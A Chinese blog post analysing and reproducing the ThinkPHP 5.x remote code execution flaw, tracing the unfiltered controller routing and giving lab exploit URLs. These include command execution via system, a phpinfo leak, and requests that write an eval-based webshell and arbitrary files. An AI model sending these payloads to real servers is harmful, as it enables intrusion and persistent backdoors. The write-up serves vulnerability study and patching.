ThinkPHP 5.x 遠端命令執行漏洞分析與復現

lizhiqiang666發表於2018-12-17

ThinkPHP官方2018年12月9日釋出重要的安全更新,修復了一個嚴重的遠端程式碼執行漏洞。該更新主要涉及一個安全更新,由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞,受影響的版本包括5.0和5.1版本,推薦儘快更新到最新版本。

0x01 影響範圍

5.x < 5.1.31, <= 5.0.23

0x02 漏洞分析

Thinkphp v5.0.x補丁地址: https://github.com/top-think/framework/com...

Thinkphp v5.1.x補丁地址: https://github.com/top-think/framework/com...

路由資訊中controller的部分進行了過濾,可知問題出現在路由排程時

關鍵程式碼:

file

在修復之前程式未對控制器進行過濾,導致攻擊者可以透過引入\符號來呼叫任意類方法。

file

其中使用了$this->app->controller方法來例項化控制器,然後呼叫例項中的方法。跟進controller方法:

其中透過parseModuleAndClass方法解析出$module和$class,然後例項化$class。

file

而parseModuleAndClass方法中,當$name以反斜線\開始時直接將其作為類名。利用名稱空間的特點,如果可以控制此處的$name(即路由中的controller部分),那麼就可以例項化任何一個類。
接著,我們再往回看路由解析的程式碼。其中route/dispatch/Url.php:: parseUrl方法呼叫了route/Rule.php:: parseUrlPath來解析pathinfo中的路由資訊

file

程式碼比較簡單,就是使用/對$url進行分割,未進行任何過濾。

其中的路由url從Request::path()中獲取

file

由於var_pathinfo的預設配置為s,我們可利用$_GET['s']來傳遞路由資訊,也可利用pathinfo來傳遞,但測試時windows環境下會將$_SERVER['pathinfo']中的\替換為/。結合前面分析可得初步利用程式碼如下:index.php?s=index/\namespace\class/method ,這將會例項化\namespace\class類並執行method方法。

0x03漏洞利用

docker漏洞環境原始碼:https://github.com/vulnspy/thinkphp-5.1.29

本地環境:thinkphp5.0.15+php5.6n+ apache2.0

http://www.thinkphp.cn/donate/download/id/...

1.利用system函式遠端命令執行

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

file

2.透過phpinfo函式寫出phpinfo()的資訊

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

file

3.寫入shell:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php


或者

http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

file

本作品採用《CC 協議》,轉載必須註明作者和本文連結

相關文章